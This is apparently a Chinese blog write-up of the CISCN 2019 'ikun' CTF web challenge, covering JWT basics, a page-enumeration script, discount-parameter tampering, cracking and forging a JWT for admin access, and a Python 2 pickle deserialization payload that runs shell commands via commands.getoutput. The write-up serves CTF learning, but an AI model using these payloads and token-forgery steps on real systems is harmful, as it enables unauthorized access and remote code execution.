admin管理员组

文章数量:1568354

通过上一篇的内容相信你对pickle反序列化有一定的了解了,但是不落实到题目上总归不知道如何下手,所以我这里用19年华北赛区的国赛题说一下,在做这个题目前我们先简单了解一下JWTJWT这玩意儿做题目做的多的话也经常在http请求包中能发现它的身影,那么它是什么,由什么构成,有什么作用呢?为了解题,我简单说一下,如果了解JWT的请跳过这一部分。

JWT

基本介绍

JWT全称为:JSON Web Token,它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。

JWTtoken的一种具体实现方法,那么token又是什么?token其实也是身份验证的一种方法,即客户端输入账号密码,服务器会发送账号密码确认信息以及token认证,防止第二次账号密码的改动,这种和前面讲的session很像,但它们具有本质区别,因为session需要存储在服务器上,token是不需要的,而JWT就是token认证的一种具体实现方法。

所以我们也能知道JWT会用在什么地方了吧?授权需要认证,信息交互也能用到认证。

基本格式

JSON Web Token总共由三部分组成,它们之间使用 点(.)连接。

这三部依次为:HeaderPayloadSignature

所以JWT的一个标准的格式为:xxxx.yyyy.zzzz

Header中的内容包括两个,一个是token的类型 例如JWT,还有一个是算法的类型 例如SHA256等等。如下:

然后用Base64对这个JSON编码就得到JWT的第一部分。

Payload是我们需要验证的信息例如:

Header头一样,也是经过base64得到第二部分。

签名部分,与phpPhar文件的签名作用相同,将HeaderPayload在用一个密匙进行加密得到签名。

例如:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

大概讲这么多,供初次碰到JWT的朋友了解,如果想要深究的可以看我打链接的这篇,我也是参考这个师傅文章写的。

[CISCN2019 华北赛区 Day1 Web2]ikun

19年的国赛,cxk打球被黑的那一年,还挺顺应潮流,一起看看这个题目吧!!

找Lv6

 首先可以确定我们需要购买一个Lv6等级的号,但是复现我们无法点击下一页(应该是搬运过来题目出了点小问题)。

第二页链接如上,太多了一个一个找太麻烦了,所以我简单测试了一下页面总共有500页,所以我们在1-500中找一个特殊的帐号---Lv6 

Lv4如上,那么Lv6可以依次类推,所以我们做一个简单的python脚本跑一下 

import requests

s = 'http://92d0366f-fafb-4045-858e-cb978e121f9e.node4.buuoj:81/shop?page='
for i in range(1,500):
    url=s+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url)

账号里的钱不够买这个,抓个包看看。

 

有一个price的值和一个discount的值,修改price会报错,而discount可以操作,所以我们让它的折扣打的越小越好 

然后有东西出来了,是一个目录,访问一下

既然需要admin,我们就利用到开始引入的JWT伪造

JWT伪造 

 JWT进行信息验证,我们可以在bp抓的包中看到,将其放在网站解析看看

用户123是我注册时候的用户名,尝试修改123admin,最后我们还有一点需要注意,就是签名需要的密匙从哪里弄?需要利用到一个工具c-jwt-cracker 把JWT放进去能爆出密匙,下载请参考GitHub中的教程。

密匙为1Kun,我们把这个放入伪造JWT的网站中

 

源码出来了,前摇有点长忍耐一下,Python反序列化就在下面。

Python反序列化 

直接找能序列化和反序列化的文件即导了pickle的包

有一个反序列化,但是中间还卡了一个url编码的函数,所以我们要把构造好的payloadquote编码后输送进去。

become是入口,直接反序列化

import pickle
import urllib

class errorr0(object):
    def __reduce__(self):
		return ***

a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c

最重要的就是return 这里了,这里我们可以进行一些操作,读文件查找一些敏感信息,因为题目没有过滤,所以我们可以肆意导包,如oscommand等等,最后一步怎么进行命令执行?

这里介绍我了解的三个可以命令执行的包

os模块

os.system()

这是一个我觉得很鸡肋的命令执行,因为它无回显,什么都不能做,除了能执行命令成功以外没有什么用,当然如果能用bash反弹shell其实也还是可以。

os.popen()

这个命令相较与上一个更好一些,因为它可读,括号中放命令,但是得通过read()读取其中的内容

 

 

commands模块

getoutput : 获取执行命令后的返回信息

getstatus :获取执行命令的状态值(执行命令成功返回数值0,否则返回非0)

getstatusoutput :获取执行命令的状态值以及返回信息

commands.getoutput是最常用的,也是我感觉最好用的,不过仅限python2,在python3中这玩意儿被驱逐出去了,用了另外一个库代替它-----subprocess

subprocess模块

subprocess也能使用getoutput对象,它还有许多其它的骚操作,具体详情请看这篇文章。

当然由于这个模块只存在于Python3所以这个题目我们无法导入。

既然如此我们便可以开始继续做题目了,通过commands模块,我们可以命令执行,查找flag所在位置,并且读取它。

import pickle
import urllib
import commands

class errorr0(object):
    def __reduce__(self):
		return (commands.getoutput,("ls /",))

a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c

直接cat读它便可以得到flag了

 

虽然但是,主要是前面套了好几层,后面Python反序列化考的挺简单的适合初学者做一做。

最后

初学py反序列化,如果有讲的不对的地方或者大家有什么问题可以在评论区留言,希望能谅解。

参考:https://www.jb51/article/142787.htm#_label2

python执行系统命令四种方法比较_Tab609的博客-CSDN博客_python执行命令行

认识JWT - 废物大师兄 - 博客园

https://www.jb51/article/225812.htm

Python反序列化漏洞的花式利用 - 先知社区

本文标签: 序列化序列化与Pythonpickle